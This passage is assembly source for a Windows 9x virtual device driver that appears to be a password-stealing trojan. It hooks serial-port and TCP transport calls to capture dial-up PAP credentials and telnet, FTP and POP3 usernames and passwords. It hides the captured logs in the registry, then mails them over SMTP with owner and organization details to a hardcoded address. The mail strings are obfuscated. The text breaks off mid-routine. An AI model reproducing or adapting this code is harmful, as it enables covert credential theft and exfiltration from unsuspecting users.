                        db 120,105,122,126,10,126,101,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
;                          'RCPT TO:<xxx@xxx.com>', 13, 10
                        db 110,107,126,107,39,32
;                          'DATA', 13, 10
                        db 121,95,72,64,79,73,94,16,10
;                          'Subject: '

cbMailData_1            equ $-MailData_1

MailData_2              db 39,32
;                          13, 10
                        db 4,39,32
;                          '.', 13, 10
                        db 123,127,99,126,39,32,42
;                          'QUIT', 13, 10, 0

cbMailData_2            equ $-MailData_2

ASCIILength             equ $-ASCIIStart

; This is for the hooks

pOpenComm_PrevHook      dd 0    ; Addresses of previous service handlers
pWriteComm_PrevHook     dd 0
pCloseComm_PrevHook     dd 0

TdiConnect_PrevAddr     dd 0
TdiSend_PrevAddr        dd 0
TdiDisconnect_PrevAddr  dd 0
TdiCloseConnection_PrevAddr dd 0

; Flags

Disable                 db 0

TraceType               db 0 ; 0 - nothing, 1 - modem, 2 - telnet, 3 - ftp,
                             ; 4 - pop3
TracedHandle            dd 0
LogProc                 dd 0 ; Address of log processing proc

TraceLetters            equ $  ; Table with letters for each different
NOTHING                 db 'N' ; type of trace. Indexed with TraceType
MODEM                   db 'M'
TELNET                  db 'T'
FTP                     db 'F'
POP3                    db 'P'

IP                      dd 0
ValueName               dd 0

pBuffer                 dd 0
BufferSize              dd 0
Index                   dd 0

MailPointer             dd 0

hOurKey                 dd 0
OurSubKey               db "0", 0
hOurSubKey              dd 0

OldCallback             dd 0

dwTemp_1                dd 0
dwTemp_2                dd 0

TdiDispatchTable        dd 0

AddressHandle           dd 0
ConnectionContext       dd 0

Request                 dd 0            ; TDI_REQUEST structure
RequestNotifyObject     dd offset32 TdiMail_Callback
RequestContext          dd 0
TdiStatus               dd 0

TdiAddressOption        db 1            ; TDI_ADDRESS_OPTION_REUSE
                        db 0            ; TDI_OPTION_EOL

TransportAddress        dd 1            ; TAAddressCount

                        dw 14           ; Address length
                        dw 2            ; Address type - TDI_ADDRESS_IP

                        dw 0            ; sinport
                        dd 0            ; sin_addr (0.0.0.0)
                        dd 0            ; sin_zero
                        dd 0

Context                 dd 0            ; Context for TdiOpenConnection

RequestAddr             dd 0            ; UserDataLength
                        dd 0            ; UserData
                        dd 0            ; OptionsLength
                        dd 0            ; Options
                        dd 22           ; RemoteAddressLength
                        dd offset32 RemoteAddress ; *RemoteAddress

RemoteAddress           dd 1            ; TAddressCount

                        dw 14           ; Address length
                        dw 2            ; Address type - TDI_ADDRESS_IP

                        db 0            ; sinport (fuckin net order!!!)
                        db PORT
                        db IP_1         ; sin_addr (192.168.0.1)
                        db IP_2
                        db IP_3
                        db IP_4
                        dd 0            ; sin_zero
                        dd 0

NDISBuffer              dd 0            ; Next
pMailBuffer             dd 0            ; Data address
                        dd 0            ; Pool
SendDataLength          dd 0            ; Length
                        dd 'FUBN'       ; Signature "NBUF"

VxD_LOCKED_DATA_ENDS

;---------------------------------------------------------------------------;
; Locked Code Segment                                                       ;
;---------------------------------------------------------------------------;

VxD_LOCKED_CODE_SEG

;---------------------------------------------------------------------------;
; _VCOMM_OpenComm hook procedure                                            ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; Disable                  x                                                ;
; TraceType                x       x                                        ;
; TracedHandle             x       x                                        ;
; Index                            x                                        ;
; pOpenComm_PrevHook       x                                                ;
;                                                                           ;
;---------------------------------------------------------------------------;

BeginProc OpenComm_Hook, HOOK_PROC, pOpenComm_PrevHook, LOCKED

        push ebp
        mov ebp, esp

; ebp-04h -> saved eax (from pushad)
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> pPortName
; ebp+0Ch -> VMId

        pushad
        pushfd

        cmp Disable, 1                  ; Is hook operation disabled?
        jz OpenComm_Hook_End

        cmp TraceType, 0                ; Is any tracing in progress?
        jne OpenComm_Hook_End           ; if yes - abort

        mov esi, dword ptr [ebp+08h]    ; ds:[esi] = pPortName
        cmp word ptr [esi], "OC"        ; Continue only if port name is "COM"
        jne OpenComm_Hook_End

        push [ebp+0Ch]                  ; Push VMId
        push [ebp+08h]                  ; Push pPortName
        call [pOpenComm_PrevHook]       ; Call the old handler

        add esp, 8h

        mov [ebp-04h], eax              ; blah...

        cmp eax, -31                    ; If there is error opening the port
        jae Dont_Trace_Comm

        mov TracedHandle, eax           ; Save the comm handle we are tracing

        xor eax, eax                    ; Reset the buffer
        mov Index, eax

        inc al                          ; TraceType = 1 (modem trace)
        mov TraceType, al

        mov BufferSize, 1024

        mov LogProc, offset32 ModemLog

Dont_Trace_Comm:
        popfd
        popad

        pop ebp
        ret                             ; Return to caller

OpenComm_Hook_End:
        popfd
        popad

        pop ebp

        jmp [pOpenComm_PrevHook]       ; Chain to previous hook

EndProc OpenComm_Hook

;---------------------------------------------------------------------------;
; _VCOMM_WriteComm hook procedure                                           ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; Disable                  x                                                ;
; TraceType                x                                                ;
;                                                                           ;
; Calls: Send_Common                                                        ;
;---------------------------------------------------------------------------;

BeginProc WriteComm_Hook, HOOK_PROC, pWriteComm_PrevHook, LOCKED


        push ebp
        mov ebp, esp

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hPort
; ebp+0Ch -> achBuffer
; ebp+10h -> cchRequested
; ebp+14h -> cchWritten

        pushfd                          ; save flags on stack
        pushad                          ; save registers on stack

        xor eax, eax

        cmp Disable, al                 ; Is hook operation disabled?
        jnz WriteComm_Hook_End

        cmp TraceType, 1                ; Is this a modem trace?
        jnz WriteComm_Hook_End

;---------------------------------------------------------------------------;
; The following code is disabled due to the strange behavior of Windows.    ;
; It opens COMx and sends AT commands using this connection. But when the   ;
; modem connects, it opens another connection, which name varies and uses   ;
; it to send PPP traffic. That's why after opening the COMx connection, we  ;
; will log EVERY byte sent through EVERY connection, until the COMx is      ;
; closed or the log limit is exceeded.                                      ;
;                                                                           ;
;        mov eax, TracedHandle           ; Are we tracing our connection?   ;
;        cmp eax, [ebp+08h]                                                 ;
;        jne WriteComm_Hook_End                                             ;
;---------------------------------------------------------------------------;

        mov esi, dword ptr [ebp+0Ch]    ; esi = achBuffer (source)

        mov eax, [ebp+10h]              ; eax = cchRequested

        call Send_Common

WriteComm_Hook_End:
        popad
        popfd

        pop ebp

        jmp [pWriteComm_PrevHook]       ; Chain to previous hook

EndProc WriteComm_Hook

;---------------------------------------------------------------------------;
; _VCOMM_CloseComm hook procedure                                           ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; Disable                  x                                                ;
; TraceType                x       x                                        ;
; TracedHandle             x                                                ;
;                                                                           ;
;---------------------------------------------------------------------------;

BeginProc CloseComm_Hook, HOOK_PROC, pCloseComm_PrevHook, LOCKED

        push ebp
        mov ebp, esp

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hPort

        pushfd                          ; save flags on stack
        pushad                          ; save registers on stack

        cmp Disable, 1                  ; Is hook operation disabled?
        jz CloseComm_Hook_End

        cmp TraceType, 1                ; Is this a modem trace?
        jnz CloseComm_Hook_End

        mov eax, TracedHandle           ; If hPort = TracedHandle stop tracing
        cmp eax, [ebp+08h]
        jne CloseComm_Hook_End

        mov TraceType, 0                ; Stop tracing

CloseComm_Hook_End:
        popad
        popfd
        pop ebp

        jmp [pCloseComm_PrevHook]       ; Chain to previous hook

EndProc CloseComm_Hook

;---------------------------------------------------------------------------;
; TdiConnect hook procedure                                                 ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; Disable                  x                                                ;
; TraceType                x       x                                        ;
; TracedHandle                     x                                        ;
; Index                            x                                        ;
; BufferSize                       x                                        ;
; IP                               x                                        ;
; OldCallback                      x                                        ;
;                                                                           ;
; Calls: Sendmail, TdiConnect_Callback                                      ;
;---------------------------------------------------------------------------;

BeginProc TdiConnect_Hook

        push ebp
        mov ebp, esp

; ebp-04h -> saved eax (from pushad)
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> *TO
; ebp+10h -> *RequestAddr
; ebp+14h -> *ReturnAddr

        pushad
        pushfd

        cmp Disable, 1                  ; Is hook operation disabled?
        jz TdiConnect_Hook_Jmp

        cmp TraceType, 0                ; Is any tracing in progress?
        jne TdiConnect_Hook_Jmp         ; if yes - abort

        mov edi, [ebp+10h]              ; edi = *RequestAddr
        mov edi, [edi+14h]              ; edi = *RemoteAddr
        cmp word ptr [edi+06h], 2       ; TDI_ADDRESS_TYPE_IP
        jne TdiConnect_Hook_Jmp

        xor eax, eax                    ; Reset the index
        mov Index, eax

        mov ax, [edi+08h]               ; ax = sin_port
        cmp ax, 1500h                   ; ftp?
        je Start_Ftp_log
        cmp ax, 1700h                   ; telnet?
        je Start_Telnet_log
        cmp ax, 6E00h                   ; pop3?
        je Start_Pop3_log

        cmp ax, 5000h                   ; http?
        jne TdiConnect_Hook_Jmp

        call Sendmail
        jmp TdiConnect_Hook_Jmp


Start_Telnet_log:
        mov TraceType, 2
        mov LogProc, offset32 TelnetLog
        mov BufferSize, 500
        jmp Start_Log

Start_Ftp_log:
        mov TraceType, 3
        mov LogProc, offset32 FtpLog
        mov BufferSize, 100
        jmp Start_Log

Start_Pop3_log:
        mov TraceType, 4
        mov LogProc, offset32 Pop3Log
        mov BufferSize, 100

Start_Log:
        mov ebx, [edi+0Ah]              ; ebx = in_addr
        mov IP, ebx                     ; Save the IP

        mov edi, [ebp+08h]              ; edi = *Request
        mov eax, [edi]                  ; Request.ConnectionContext
        mov TracedHandle, eax

        mov eax, [edi+04h]              ; Save old callback
        mov OldCallback, eax
        mov [edi+04h], offset32 TdiConnect_Callback ; Hook it

        push edi

        push [ebp+14h]
        push [ebp+10h]
        push [ebp+0Ch]
        push [ebp+08h]
        call [TdiConnect_PrevAddr]      ; Chain to previous hook
        add esp, 10h

        mov [ebp-04h], eax              ; Save the return value

        pop edi                         ; edi = *Request
        mov ebx, OldCallback
        mov [edi+04h], ebx              ; Restore old callback

        cmp eax, 0FFh
        je TdiConnect_Hook_End

        or eax, eax
        je TdiConnect_Hook_End

        ; There is some error, don't trace

        mov TraceType, 0

TdiConnect_Hook_End:
        popfd
        popad

        pop ebp

        ret

TdiConnect_Hook_Jmp:
        popfd
        popad

        pop ebp

        jmp [TdiConnect_PrevAddr]       ; Chain to previous hook

EndProc TdiConnect_Hook


;---------------------------------------------------------------------------;
; TdiConnect_Callback hook procedure                                        ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; TraceType                x       x                                        ;
; OldCallback              x                                                ;
;                                                                           ;
;---------------------------------------------------------------------------;

BeginProc TdiConnect_Callback

        push ebp
        mov ebp, esp

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Context
; ebp+0Ch -> FinalStatus
; ebp+10h -> ByteCount

        pushad
        pushfd

        mov eax, [ebp+0Ch]
        or eax, eax
        je TdiConnect_Callback_End

        mov TraceType, 0

TdiConnect_Callback_End:
        popfd
        popad

        pop ebp
        jmp [OldCallback]

EndProc TdiConnect_Callback

;---------------------------------------------------------------------------;
; TdiSend hook procedure                                                    ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; Disable                  x                                                ;
; TraceType                x                                                ;
; TracedHandle             x                                                ;
;                                                                           ;
; Calls: Send_Common                                                        ;
;---------------------------------------------------------------------------;

BeginProc TdiSend_Hook

        push ebp
        mov ebp, esp

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> Flags
; ebp+10h -> SendLength
; ebp+14h -> *SendBuffer

        pushfd
        pushad

        cmp Disable, 1                  ; Is hook operation disabled?
        je TdiSend_Hook_End

        cmp TraceType, 1                ; Is this a TCP trace?
        jbe TdiSend_Hook_End

        mov edi, [ebp+08h]              ; edi = *Request
        mov eax, TracedHandle
        cmp eax, [edi]                  ; Are we tracing THIS ConnectionContext?
        jne TdiSend_Hook_End

        mov edi, [ebp+14h]              ; edi = *SendBuffer
        mov esi, [edi+04h]              ; esi = source buffer

        mov eax, [edi+0Ch]              ; eax = Length

        call Send_Common

TdiSend_Hook_End:
        popad
        popfd

        pop ebp

        jmp [TdiSend_PrevAddr]          ; Chain to previous hook

EndProc TdiSend_Hook

;---------------------------------------------------------------------------;
; TdiDisconnect hook procedure                                              ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; Disable                  x                                                ;
; TraceType                x       x                                        ;
; TracedHandle             x                                                ;
;                                                                           ;
;---------------------------------------------------------------------------;

BeginProc TdiDisconnect_Hook

        push ebp
        mov ebp, esp

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> *TO
; ebp+10h -> Flags
; ebp+14h -> *DisConnInfo
; ebp+18h -> *ReturnInfo

        pushfd                          ; save flags on stack
        pushad                          ; save registers on stack

        cmp Disable, 1                  ; Is hook operation disabled?
        jz TdiDisconnect_Hook_End

        cmp TraceType, 1                ; Is this a TCP trace?
        jbe TdiDisconnect_Hook_End

        mov eax, TracedHandle           ; If the traced handle is being closed
        mov edi, [ebp+08h]              ; edi = *Request
        cmp eax, [edi]                  ; [edi] = ConnectionContext
        jne TdiDisconnect_Hook_End

; We are disconnected before the buffer is full. We will reset the BufferSize
; to the current and process the buffer anyway.

        mov eax, Index
        mov BufferSize, eax
        xor eax, eax
        call Send_Common

; Don't need to stop tracing, because Send_Common should do this.

TdiDisconnect_Hook_End:
        popad
        popfd
        pop ebp

        jmp [TdiDisconnect_PrevAddr]    ; Chain to previous hook

EndProc TdiDisconnect_Hook

;---------------------------------------------------------------------------;
; TdiCloseConnection hook procedure                                         ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; Disable                  x                                                ;
; TraceType                x       x                                        ;
; TracedHandle             x                                                ;
;                                                                           ;
;---------------------------------------------------------------------------;

BeginProc TdiCloseConnection_Hook

        push ebp
        mov ebp, esp

; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request

        pushfd                          ; save flags on stack
        pushad                          ; save registers on stack

        cmp Disable, 1                  ; Is hook operation disabled?
        jz TdiCloseConnection_Hook_End

        cmp TraceType, 1                ; Is this an IP trace?
        jbe TdiCloseConnection_Hook_End

        mov eax, TracedHandle           ; If the traced handle is being closed
        mov edi, [ebp+08h]              ; edi = *Request
        cmp eax, [edi]                  ; [edi] = ConnectionContext
        jne TdiCloseConnection_Hook_End

; We are disconnected before the buffer is full. We will reset the BufferSize
; to the current and process the buffer anyway.

        mov eax, Index
        mov BufferSize, eax
        xor eax, eax
        call Send_Common

; Don't need to stop tracing, because Send_Common should do this.

TdiCloseConnection_Hook_End:
        popad
        popfd
        pop ebp

        jmp [TdiCloseConnection_PrevAddr]    ; Chain to previous hook

EndProc TdiCloseConnection_Hook


;---------------------------------------------------------------------------;
; Send_Common procedure                                                     ;
;---------------------------------------------------------------------------;
; Input:                                                                    ;
;                                                                           ;
; eax - length of data                                                      ;
; esi - data source                                                         ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; BufferSize               x                                                ;
; Index                    x        x                                       ;
; pBuffer                  x                                                ;
; ValueName                         x                                       ;
; dwTemp_1                          x                                       ;
; hOurKey                  x                                                ;
; TraceType                         x                                       ;
;                                                                           ;
; Calls: ModemLog, TelnetLog, FtpLog, Pop3Log                               ;
;---------------------------------------------------------------------------;

BeginProc Send_Common

        mov ecx, BufferSize
        mov ebx, Index                  ; ebx = Index
        sub ecx, ebx                    ; ecx = free space in buffer

        mov edi, pBuffer                ; edi = pBuffer+Index (destination)
        add edi, Index

        cmp ecx, eax
        jbe Do_Copy_Buffer              ; If the space in the buffer is not
                                        ; enough, don't overrun it

        mov ecx, eax                    ; Else, copy cchRequested bytes

Do_Copy_Buffer:
        add ebx, ecx                    ; Increment the Index
        mov Index, ebx

        rep movsb                       ; Copy it in the buffer

        mov ecx, BufferSize
        jz Send_Common_Abort            ; Stop tracing
        cmp ebx, ecx                    ; If Index < BufferSize end operation
        jb Send_Common_End

; The buffer is full, precess the log and probably save it in the registry

        mov byte ptr [edi], 0           ; Null-terminate the log

        inc edi                         ; Buffer for the value name
        push edi                        ; We need to save this, because
                                        ; we will store two bytes in front
                                        ; of the string, returned by LogProc

        xor ebx, ebx
        mov bl, TraceType
        mov esi, TraceLetters
        mov al, byte ptr [esi+ebx]
        mov byte ptr [edi], al          ; Store a trace identifier
        inc edi

        mov byte ptr [edi], 20h         ; Store a space
        inc edi

        mov ValueName, edi

        call LogProc                    ; Process the log

        ; At this point ALL registers are fucked up, except eax

        pop ValueName

        test eax, eax                   ; Is there an error (eax=1)?
        jnz Send_Common_Abort

Get_Reg_Value:
        ; Try to get the value with the same name

        xor ebx, ebx
        mov dwTemp_1, ebx
        push offset32 dwTemp_1          ; cbData
        push ebx                        ; lpszData
        push ebx                        ; fdwType
        push ebx                        ; dwReserved
        push ValueName                  ; lpszValueName
        push hOurKey                    ; phKey

        VMMCall _RegQueryValueEx        ; Get the value of the key
        add esp, 18h

        cmp eax, ERROR_FILE_NOT_FOUND   ; If key exists
        jne Send_Common_Abort

        ; Save the result in the registry

        push BufferSize                 ; cbData
        push pBuffer                    ; lpszData
        push REG_SZ                     ; fdwType
        push 0                          ; dwReserved
        push ValueName                  ; lpszValueName
        push hOurKey                    ; phKey

        VMMCall _RegSetValueEx          ; Set the value of the key
        add esp, 18h

; Store 'P' as the default value - flag that there is something to email

        push 1                          ; cbData
        push offset32 Letter_P          ; lpszData
        push REG_SZ                     ; fdwType
        push 0                          ; lpSubKey
        push hOurKey

        VMMCall _RegSetValue
        add esp, 14h

Send_Common_Abort:
        mov TraceType, 0

Send_Common_End:
        ret

EndProc Send_Common

;---------------------------------------------------------------------------;
; ModemLog procedure                                                        ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; pBuffer                  x                                                ;
; BufferSize               x                                                ;
; ValueName                x                                                ;
;                                                                           ;
; Notes: Fucks off all registers, except EAX                                ;
; Returns: eax = 0 - ok, 1 = error                                          ;
;---------------------------------------------------------------------------;

BeginProc ModemLog

; Try to find the dialed number and copy it as ValueName

        mov edi, pBuffer                ; Source

        xor ecx, ecx

FindATD_Loop:
        cmp word ptr [edi], "TA"        ; Search for ATD
        jne NotATD
        cmp byte ptr [edi+2], "D"
        jne NotATD

        add edi, 3
        jmp ATDFound

NotATD:
        inc edi
        inc ecx
        cmp ecx, BufferSize
        jae ModemLog_Abort              ; ATD not found in the buffer - abort
        jmp FindATD_Loop

ATDFound:
        mov edx, edi                    ; edx = beginning of phone number
        mov esi, edi
        sub ecx, BufferSize
        neg ecx                         ; ecx = size of the rest of buffer
        mov ebx, ecx

        mov al, 0Dh                     ; Search for <CR>
        repne scasb
        jnz ModemLog_Abort              ; <CR> not found after ATD command

        sub edi, edx
        mov ecx, edi                    ; ecx = phone number length

        sub ebx, ecx                    ; ebx = size of the rest of buffer

        mov esi, edx                    ; beginning of phone number
        mov edi, ValueName
        rep movsb                       ; Store the phone number as value name

        mov edx, edi                    ; edx = end of phone number

        cmp byte ptr [esi], '~'         ; Is PPP directly started (PAP auth)?
        jne Tilda_Loop

        ; It's PAP

PAP_Loop:
        cmp dword ptr [esi], 0123C07Eh  ; Is it PAP packet?
        je PAP_Found

        inc esi
        dec ebx
        jnz PAP_Loop

        jmp ModemLog_Abort              ; This shouldn't happen, but anyway...
                                        ; (either no auth or CHAP)

PAP_Found:

; The PAP packet has the follwing structure:
;
; | 7E | C0 23 | 01 | xx | xx xx |  ULen  | U S E R |  PLen  | P A S S |
; |    |       |    |    |       |        |         |        |         |
; |PPP |  PAP  |code| id |length |user len|username |pass len|password |
;

        add esi, 7                      ; Point to the Username length field
        xor ecx, ecx
        mov cl, byte ptr [esi]          ; Username length
        inc esi
        rep movsb                       ; Copy username

        mov ax, 0A0Dh                   ; Save a <CR> between username & pass
        stosw

        mov cl, byte ptr [esi]          ; Password length
        inc esi
        rep movsb                       ; Copy password

        jmp ModemLog_Final

Tilda_Loop:
        movsb                           ; Copy until ~ found (until PPP start)

        dec ebx
        jz Tilda_Not_Found

        cmp byte ptr [esi], '~'
        jne Tilda_Loop

ModemLog_Final:
        xor eax, eax
        stosb                           ; Null terminate the value name
        ret

Tilda_Not_Found:
        mov byte ptr [edx], 0           ; Null terminate after the phone num
        ret

ModemLog_Abort:
        xor eax, eax                    ; eax = 1 (error)
        inc eax
        ret

EndProc ModemLog

;---------------------------------------------------------------------------;
; TelnetLog procedure                                                       ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Used variables         Read    Write                                      ;
;                                                                           ;
; pBuffer                  x                                                ;
; BufferSize               x                                                ;
; ValueName                x                                                ;
;                                                                           ;
; Calls: DWord2Str                                                          ;
; Returns: eax = 0 - ok, 1 = error                                          ;
;                                                                           ;
; Notes: Fucks off all registers, except EAX                                ;
;---------------------------------------------------------------------------;

BeginProc TelnetLog

        ; Convert the IP to string and store it as value name

        mov ebx, IP
        mov edi, ValueName

        call DWordToStr                 ; Save the IP as the value name

        mov ax, 0A0Dh                   ; Save a <CR><LF>
        stosw

        mov esi, edi                    ; esi = address to write

        mov edi, pBuffer
        mov ecx, BufferSize
        mov ebx, ecx

        repne scasb                     ; Search for <CR>
        jne CR_Sequence_NotFound

        repne scasb                     ; Search for second <CR>
        jne CR_Sequence_NotFound

        std                             ; Decrement esi & edi

        sub ebx, ecx                    ; ebx - size to the beginning of buffer
        mov ecx, ebx

        inc ecx                         ; See the note bellow
        inc ecx

        xor al, al
        repne scasb

; If NULL is found, edi points to the byte before it and we need to do
; inc edi twice. Else, edi would point to the first char in the buffer
; and we don't need to inc it.
; That's why we have done 'inc ecx' twice a couple of lines before.
; This way, if NULL is not found, edi points to the first-2 char
; and we can (and must) do inc edi two times.

        inc edi
        inc edi

        ; Actually it doesn't matter if NULL is found. Just copy the rest.

        cld                             ; Increment esi & edi

        sub ebx, ecx                    ; ebx - size of username/pass string
        mov ecx, ebx

        xor esi, edi                    ; Swap esi & edi (Preslav Nakow rulez)
        xor edi, esi
        xor esi, edi

        rep movsb                       ; Copy the user/pass to value name

        xor eax, eax
        stosb                           ; Null terminate the value name

        mov edi, pBuffer
        mov ecx, BufferSize

Null_Loop:
        repnz scasb
        jnz End_Null_Loop

        mov byte ptr [edi-1], '.'
        or ecx, ecx
        jz End_Null_Loop
        jmp Null_Loop

End_Null_Loop:

        ret

CR_Sequence_NotFound:
        mov byte ptr [esi], 0           ; Null terminate after the IP
        ret

EndProc TelnetLog

;---------------------------------------------------------------------------;
; FtpLog procedure                                                          ;
;---------------------------------------------------------------------------;
; Used variables         Read    Write                                      ;
;                                                                           ;
; pBuffer                  x                                                ;
; BufferSize               x                                                ;
; ValueName                x                                                ;
;                                                                           ;
; Calls: Pop3Log, DWord2Str                                                 ;
; Returns: eax = 0 - ok, 1 = error                                          ;
;                                                                           ;
; Notes: Fucks off all registers, except EAX                                ;
;---------------------------------------------------------------------------;

BeginProc FtpLog

        call Pop3Log                    ; Process exactly like pop3
        test eax, eax
        jnz FtpLog_End

        mov edi, ValueName
        add edi, 10                     ; edi points to the username+1

        cmp dword ptr [edi+4], 'suom'   ; Is the username 'anonymous'?
        jne FtpLog_End
        cmp dword ptr [edi], 'ynon'
        jne FtpLog_End

FtpLog_Abort:
        xor eax, eax                    ; eax = 1 (error)
        inc eax
        ret

FtpLog_End:
        ret                             ; eax is set and the value name is
                                        ; already null-terminated

EndProc FtpLog

;---------------------------------------------------------------------------;
; Pop3Log procedure                                                         ;
;---------------------------------------------------------------------------;
; Used variables         Read    Write                                      ;
;                                                                           ;
; pBuffer                  x                                                ;
; BufferSize               x                                                ;
; ValueName                x                                                ;
;                                                                           ;
; Calls: DWord2Str                                                          ;
; Returns: eax = 0 - ok, 1 = error                                          ;
;                                                                           ;
; Notes: Fucks off all registers, except EAX                                ;
;---------------------------------------------------------------------------;

BeginProc Pop3Log

        ; Convert the IP to string and store it as value name

        mov ebx, IP
        mov edi, ValueName

        call DWordToStr                 ; Save the IP as the value name

        mov ax, 0A0Dh                   ; Save a <CR><LF>
        stosw

        mov esi, pBuffer
        mov ecx, BufferSize
        mov ebx, ecx

        mov eax, 'RESU'                 ; Search for USER

USER_or_PASS_Loop:
        cmp dword ptr [esi], eax        ; Search for USER or PASS (in eax)
        je USER_or_PASS_Copy_Loop_Start

        inc esi
        dec ecx
        jz Pop3Log_Abort
        jmp USER_or_PASS_Loop

USER_or_PASS_Copy_Loop_Start:
        add esi, 5                      ; Skip 'USER' and 'PASS'

USER_or_PASS_Copy_Loop:
        cmp byte ptr [esi], 0Dh         ; Is <CR> here?
        jne Copy_USER_or_PASS

        cmp al, 'P'                     ; Is this a PASS copy?
        je Pop3Log_End                  ; Work done, finish log processing

        mov ax, 0A0Dh                   ; Save a <CR> between username & pass
        stosw

        mov eax, 'SSAP'
        jmp USER_or_PASS_Loop

Copy_USER_or_PASS:
        movsb
        dec ecx
        jz Pop3Log_Abort
        jmp USER_or_PASS_Copy_Loop

Pop3Log_Abort:
        xor eax, eax                    ; eax = 1 (error)
        inc eax
        ret

Pop3Log_End:
        xor eax, eax
        stosb                           ; Null-terminate
        ret

EndProc Pop3Log

;---------------------------------------------------------------------------;
; DWordToStr procedure - input ebx, edi                                     ;
;---------------------------------------------------------------------------;
;                                                                           ;
; Input: ebx - dword                                                        ;
;        edi - lpstr                                                        ;
;                                                                           ;
; Output: edi - points to the next byte after the written string            ;
;                                                                           ;
; Preserves all registers, except edi                                       ;
;---------------------------------------------------------------------------;

BeginProc DWordToStr

        pusha

        mov cx, 28

Digit_Loop_Start:
        mov eax, ebx

        shr eax, cl
        and al, 0Fh

        add al, 48                      ; "0"
        cmp al, 57                      ; "9"
        jbe Digit_ok

        add al, 7                       ; convert 10 to A, 11 to B, etc

Digit_ok:
        stosb

        sub cl, 4
        jge Digit_Loop_Start

        xor al, al
        stosb

        popa

        add edi, 8

        ret

EndProc DWordToStr

;---------------------------------------------------------------------------;
; Sendmail procedure                                                        ;
;---------------------------------------------------------------------------;

BeginProc Sendmail

        ; ZMH

        mov Disable, 1                  ; We are busy

        ; Check if there is something to mail

        xor eax, eax
        push offset32 dwTemp_1          ; lpcbValue
        push eax                        ; lpValue
        push eax                        ; lpSubKey
        push hOurKey                    ; hKey

        VMMCall _RegQueryValue
        add esp, 10h

        or eax, eax                     ; cmp eax, ERROR_SUCCESS
        jnz Abort_Mail_Alloc

        cmp dwTemp_1, 1                 ; There is no value there
        jbe Abort_Mail_Alloc

        ; Allocate mail buffer and create the message

        VMMCall _HeapAllocate, <MAIL_BUFFER_LENGTH, 0>
        or eax, eax                     ; zero if error
        jz Abort_Mail_Alloc
        mov [pMailBuffer], eax          ; address of memory block
        mov [MailPointer], eax

        mov esi, offset32 MailData_1
        mov edi, eax
        mov ecx, cbMailData_1
        add MailPointer, ecx
        rep movsb

        push offset32 dwTemp_1          ; phKey
        push offset32 CurrentVersionSubKey ; SubKey
        push HKEY_LOCAL_MACHINE

        VMMCall _RegOpenKey             ; Open the key
        add esp, 0Ch

        or eax, eax                     ; cmp eax, ERROR_SUCCESS
        jnz Abort_Mail

        mov ebx, offset32 sRegisteredOwner
        call QueryRegValue

        mov ebx, offset32 sRegisteredOrganization
        call QueryRegValue

        mov ebx, offset32 sSystemRoot
        call QueryRegValue

        mov ebx, offset32 sVersionNumber
        call QueryRegValue

        push dwTemp_1                   ; hKey
        VMMCall _RegCloseKey            ; Close the key
        add esp, 04h

        ; Start enumerating the values

        mov dwTemp_1, 0

Enum_Loop:
        mov BufferSize, MAX_BUFFER_LENGTH
        push offset32 BufferSize        ; lpcbData
        push pBuffer                    ; lpbData
        push 0                          ; lpdwType
        push 0                          ; lpdwReserved
        mov eax, pMailBuffer
        add eax, MAIL_BUFFER_LENGTH
        mov ebx, MailPointer
        sub eax, ebx                    ; Calculate the free space in buffer
        mov dwTemp_2, eax
        push offset32 dwTemp_2          ; lpcchValue
        push MailPointer                ; lpszValue
        push dwTemp_1                   ; iValue
        push hOurKey                    ; hKey

        VMMCall _RegEnumValue           ; Get the value of the key
        add esp, 20h

        inc dwTemp_1                    ; dwTemp_1 = iValue + 1

        cmp eax, ERROR_NO_MORE_ITEMS
        je Enum_End

        or eax, eax                     ; cmp eax, ERROR_SUCCESS
        jne Abort_Mail

        mov esi, pBuffer

        mov edi, MailPointer
        add edi, dwTemp_2

        mov ecx, BufferSize
        rep movsb

        mov eax, 0A0D0A0Dh              ; Add two line breaks
        stosd

        mov MailPointer, edi

        jmp Enum_Loop

Enum_End:
        mov esi, offset32 MailData_2
        mov edi, MailPointer
        mov ecx, cbMailData_2
        mov eax, ecx
        add eax, MailPointer
        sub eax, pMailBuffer
        inc eax
        mov SendDataLength, eax
        rep movsb

        ; Open address object

        push offset32 TdiAddressOption
        push 6                                  ; Protocol (TCP)
        push offset32 TransportAddress
        push offset32 Request
        mov esi, TdiDispatchTable
        call dword ptr [esi]                    ; TdiOpenAddress
        add esp, 10h

        cmp eax, 0
        jnz Abort_Mail

        ; Save the address handle for future use

        mov eax, dword ptr Request
        mov AddressHandle, eax

        ; Open connection object

        push offset32 Context                   ; Context
        push offset32 Request
        mov esi, TdiDispatchTable
        call dword ptr [esi+8]                  ; TdiOpenConnection
        add esp, 8

        cmp eax, 0
        jnz Abort_Mail

        ; Save the connection context for future use

        mov eax, dword ptr Request
